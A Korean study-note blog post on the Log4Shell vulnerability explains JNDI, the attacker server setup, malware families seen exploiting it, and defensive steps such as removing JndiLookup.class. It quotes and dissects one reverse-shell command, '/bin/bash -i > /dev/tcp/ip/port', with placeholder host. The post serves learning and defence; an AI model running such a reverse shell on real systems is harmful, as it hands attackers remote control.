[사고정리] log4j - 얘도 자바 직렬화 JNDI (정리중)

한 번 정리했었는데 까먹어서.. 면접 때 이야기를 못했더니 패널티를 받았다 ..ㅜ

다시 잘 정리하고 익스플로잇 할 수 있는 역량까지 키우도록 하자 

관련 서버 만들어보기

 

- 참고자료 : kisa 보호나라 log4j 보고서

 

LOG4J : 자바 기반 웹 프레임워크에서 로그 기록을 사용하기 위해 사용한느 프로그램 . APACHE 제공 오픈 소스

 

LOG4SHELL : 

44228

JNDI 에서 발생하는 취약점. 

공격자는 Lookup 기능을 악용하여 LDAP 서버에 로드된 임으의 코드를 실행 가능 

 

LOG4SHELL 

 

-X- JNDI(Java Naming and Directory Interface)란?

RMI, LDAP, Active Directory, Dns , CORBA 같은 서로 다른 네이밍및 디렉터리 서비스와 상호작용할 수 있는 하나의 공통 인터페이스를 제공하기 위한 JAVA 기반의 인터페이스이다. 

- 네이밍서비스 : 바인딩 이라고 불리는 이름과 값으로 구성된 엔티티 (객체). 조회, 검색 연산을 사용하여 이름을 기반으로 객체를 찾을 수 있도록 기능 제공

- 디렉터리 서비스 : 디렉터리 객체를 저장하고 검색할 수 있는 특별한 유형의 네이밍 서비스. 디렉터리 객체는 속성을 객체에 연결할 수 있다는 점에서 일반 객체와 차이.

디렉터리 서비스는 개체속성에서 작동할 수 있는 확장 기능 제공

 

JNDI는 네이밍 또는 디렉터리 서비스의

자바 객체에 바인딩 하기 위해 자바 직렬화를 사용하여 객체를 BYTE 단위로 가져옴 

직렬화된 데이터가 너무 클 수 있으니, 객체를 네이밍/디렉터리 서비스에 저장하여 관리하기 위해 참조 사옹

 

레퍼런스는 네이밍 매니저에 의해 디코딩되어 원래 객체를 참조할수 있도록 객체에 대한 주소와 클래스 정보로 구성. 

 

@@ Reference클래스는 factory를 사용하여 객체를 구성할 수 있다 -?? 2016 black hat usa 다시보기 

jndi 원격 클래스를 로드한느 것은 어느 레벨에서 실행되는 지에 따라 다르게 동작.

- 네이밍 매니저 레벨

- service provicder interface (SPI) 레벨에서 실행하는 것으로 구분

 

@@ 원격 클래스 실행하는 방법?

 

공격

사전준비

- 송신 서버  : 

공격 쿼리를 송신하는 서버.

log4j 취약점이 가장 많이 이용되는 부분이 자바 기반 웹서버의 로깅 기능 

웹 접속이 가능한 시스템이면 쿼리 송신 가능

 

- 쿼리 수신 서버

JNDI 공격 명령이 성공했다면 피해 서버는 공격자가 구축해놓은 쿼리 수신 서버로 쿼리 전송

취약점에 악용되는 쿼리 수신 서비스 

1) LDAP : 

2) RMI : 

2가지가 대표적. 

 

-악성 class 파일을 유포할 서버

- 최종 목적을 달성하는 악성코드 서버

 

일반적으로는 추적을 피하기위해 정상 서비스를 해킹하여 공격에 악용

서비스 프로그램의 구성에 따른 차이

1) CLASS 파일 유포 서버 : 악성 CLASS 파일을 유포함. 다운로드는 웹 프로토콜을 이용

2) 악성코드 유포 서버 : CLASS 파일에 정의된 명령에 따라 추가 악성코드 다운.

 

공격망 구성 방식

쿼리 수신 서버를 어떻게 구성하느냐에 따라 공격 쿼리와 공격망의 구성 방식이 달라짐 

1) 쿼리 고정된 유형

2) 쿼리가 BASE64로 인코딩

3) 쿼리가 랜덤으로 생성

 

일반적인 동작 방식

1) 일반 고정 쿼리.

1. 공격자가 쿼리 송신 서버에서 공격 쿼리 송신 in 웹패킷

2. 취약한 서버는 공격자의 웹 패킷에 포함된 공격 쿼리 부분을 추출. 다시 공격자의 쿼리 수신 서버로 전송

3. 쿼리 수신 서버 : "피해서버야, 악성 class를 다운받으렴"

4. 피해서버는 악성 class 유포 서버에서 악성 class 파일 다운, class 파일에 정의되어있는 명령을 실행 

5. 악성코드 유포지에서 최종 목적의 악성코드 다운 

 

2) base64 쿼리

1. 공격 쿼리 송신 서버는 인코딩 된 명령어를 웹 패킷에 담아 피해 서버로 송신 

2. 피해 서버의 취약한 log4j는 송신 패킷의 공격 쿼리 부분을 추출하여 다시 공격자의 쿼리 수신 서버로 보냄 

3. 쿼리 수신 서버는 피해 서버에게 악성 class 파일 다운로드 하라는 명령 전달 

4. 악성 class 파일 유포지에서 피해 서버는 악성 class 다운 및 실행

5. 명령 결과로 악성코드 유포지에서 최종 악성코드 다운 

 

3) 공격 쿼리가 랜덤으로 생성되는 유형

1. 공격자 : 쿼리 수신 서버를 구성 시, 미리 공격 명령어 지정

2. 쿼리에 쓰일 이름을 랜덤 문자 6자리로 생성 (명령어 지정)

3. 쿼리 송신 서버 : 피해 서버에 공격 쿼리 송신

3. 공격자는 쿼리 송신 서버에서 웹 패킷에 포함된 공격 쿼리 부분 추출하여 공격자의 쿼리 수신 서버로 전송

4. 수신서버 : 악성 class 다운 받아라

5. 피해 서버 : 악성 class 다운 및 실행

6. 악성코드 유포지에서 최종 악성코드 다운 

 

 

악성코드 

* 봇넷 및 크립토 마이너

- 미라이 : DDoS 유발 봇넷

- Muhstik : elf 포맷 백도어 유포, 봇넷 확장, 크립토 마이너 설치 

- XMRIG : gitgub 저장소의 XMRIG 마이너 저장소에서 소스코드 다운 및 크립토 마이너 실행

- Kinsing : 피해 서버가 공격 서버로 접근하여 쉡 스크립트 다운. 백도어 크립토 마이너 기능 수행

 

* 랜섬웨어 

- Khonsari : C 제외 모든 드라이브를 AES로 암호화하는 .NET 랜섬웨어 (와이퍼)

- NightSky : Rook 랜섬웨어의 포크. 

 

* RAT ( 원격 제어 트로이목마 ) 

-  Orcus : C2 서버로 연결 후 원격제어 시도

 

* 리버스 쉘 

- base64로 인코딩되어 다음 명령어 실행 (리버스쉘 명령)

/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1

< : 표준 입력 변경 (말그대로)

> : 표준 출력 변경 (말그대로)

-i : If the -i option is present, the shell is interactive.

 

즉, 상호작용이 되는 /bin/bash를 생성하며, 이것의 표준 출력이 /dev/tcp/ip/port가 되도록한다. 

표준출력 1 :  socket

0<&1 : 표준 입력이 socket임 (방향 생각 x)

2>&1 : '표준출력(1)의 출력장치로 지정된 장치(파일)'을 '표준에러'의 '출력장치'로 함께 사용 (socket)

 

==> 즉, 서로 상호작용하면서 소켓으로부터 들어오는 것을 입력으로 받고, 출력되는 내용도 소켓으로 (맞니????)

 

좀 더 잘 설명 (그림으로 그리는 포인터!) 잘 이해

https://stackoverflow.com/questions/818255/in-the-shell-what-does-21-mean

 

 

 

 

대응방법

- log4j-core 버전 확인 

1) 명령어

dpkg -l | grep log4j

find / -name 'log4j*'

 

2) pom.xml (java spring framework maven)

log4j-core

 

3) JndiLookup 클래스 제거 

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

- 보안 장비 룰 업데이트 

- ip 차단 

- 공격자의 추가 행위 단계에 방어자가 개인하여 공격을 무력화하는 작업. 능동적 방어가 필요.

- 모니터링

- 로그 잘 기록/삭제 방지

(보호나라 - 자료실 - 가이드 - 한눈로그설정노트)

- 취약점 있는 lib 사용여부 확인

- 해외에서는 sw 재표 명세서(Software Bill of Materials, SBOM)을 생산/관리 한다고 함

- ca 하기 (Compromise Assessment) : 침해 평가. // 재미있는 연구 주제다.

: 조직 내에 현재 존재하거나 과거에 활동한 공격자를 찾기 위한 객관적인 활동.

악의적인 행위가 있다고 판단될 때 수행하는 기술적인 검토 작업. 

 

 

무엇이 문제인가?

1) 오픈소스 취약점 식별의 어려움 

- log4j를 사용하는 3rd-party 프로그램 식별이 참 난관이다

 

2) 내부 침투 여부 확인의 어려움 

- 제로데이. 패치는 했는데, 공격자가 이미 내부망에 침투한 건 아닌가? -> 점검 필요

- IoC (침해지표)가 아직까지 log4j에 대한 것은 없다고 함

- 패치 이후 기업 내부 중요시스템 중심으로 비정상 여부 점검을 상세하게 진행해야 함

ㄴ 이상한 외부 통신, 비정상 프로세스, 갑작스런 자원 사용 증가 등 

 

3) apt 공격 그룹들의 취약점 악용 공격 개시

관련 APT 그룹

- Hafnium

- Aquatic Panda : vmware horizon 서비스 정찰. 파일 다운로드 명령 실행 [중국]

- Phosphorus : powershell script 실행 [이란]